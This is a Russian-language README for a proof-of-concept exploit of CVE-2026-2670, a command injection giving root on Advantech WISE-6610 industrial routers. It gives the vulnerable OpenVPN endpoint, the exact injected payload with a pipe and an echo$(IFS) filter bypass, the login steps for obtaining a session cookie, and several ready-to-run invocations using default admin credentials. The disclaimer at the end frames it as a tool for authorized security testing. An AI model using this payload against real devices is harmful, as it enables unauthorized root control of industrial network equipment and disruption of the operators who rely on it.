
Доказательство концепции эксплуатации для CVE-2026-2670, уязвимости внедрения команд в маршрутизаторах Advantech WISE-6610, позволяющей аутентифицированным злоумышленникам выполнять произвольные команды с привилегиями root.
Proof-of-concept эксплойт, демонстрирующий уязвимость командной инъекции в промышленном сотовом маршрутизаторе Advantech WISE-6610.
Уязвимость существует в конечной точке /cgi-bin/luci/admin/openvpn_apply и позволяет аутентифицированному злоумышленнику выполнять произвольные системные команды.
Веб-интерфейс WISE-6610 не выполняет надлежащую санитизацию параметра delete_file при обработке удаления конфигураций OpenVPN.
Злоумышленник с действительными учётными данными может внедрить shell-команды, используя конвейер (|) с последующей командой и завершающей последовательностью echo$(IFS) для обхода фильтрации входных данных.
Внедрённые команды выполняются с привилегиями root.
requestsУстановка зависимостей:
pip install requests
Параметр Описание
--target Базовый URL устройства (например, http://192.168.1.100:8444)
--cmd Команда для выполнения. Должна записывать вывод в файл внутри веб-корня (например, id > output.txt)
--output Веб-путь к файлу вывода (например, /output.txt). Должен совпадать с именем файла, указанным в --cmd
--cookie (Необязательно) Существующее значение сессионного cookie sysauth
--username (Необязательно) Имя пользователя для входа
--password (Необязательно) Пароль для входа
--delay Секунды ожидания перед получением вывода (по умолчанию: 2)
--debug Включить подробное логирование запросов/ответов
Скрипт поддерживает два метода аутентификации:
Предоставление существующего сессионного cookie sysauth
Вход с именем пользователя и паролем
Базовый синтаксис
python3 exploit.py --target <URL> --cmd <КОМАНДА> --output <ПУТЬ_ВЫВОДА> \
[--cookie <SYSCOOKIE> | --username <ПОЛЬЗОВАТЕЛЬ> --password <ПАРОЛЬ>] \
[--delay <СЕКУНДЫ>] [--debug]
1️⃣ Использование предварительно аутентифицированного cookie
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ Вход с учётными данными
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ С отладочным выводом
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
GET-запрос отправляется на /cgi-bin/luci/ для получения cookie luci_nonce, необходимого для аутентификации.
Если предоставлены учётные данные, скрипт отправляет POST-запрос на /cgi-bin/luci/ с luci_username и luci_password для получения cookie sysauth.
Если действительный cookie передан через --cookie, этот шаг пропускается.
POST-запрос отправляется на:
/cgi-bin/luci/admin/openvpn_apply
Со следующими параметрами:
act=delete
delete_file=123123|<команда> echo$(IFS)
openvpn_id=1
Последовательность echo$(IFS) помогает завершить внедрённую команду и обойти фильтры входных данных.
После короткой задержки скрипт пытается получить сгенерированный файл по указанному пути --output.
Этот инструмент предоставляется только в образовательных целях и для авторизованного тестирования безопасности.
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным.
Авторы не несут ответственности за неправомерное использование или ущерб, причинённый данным программным обеспечением.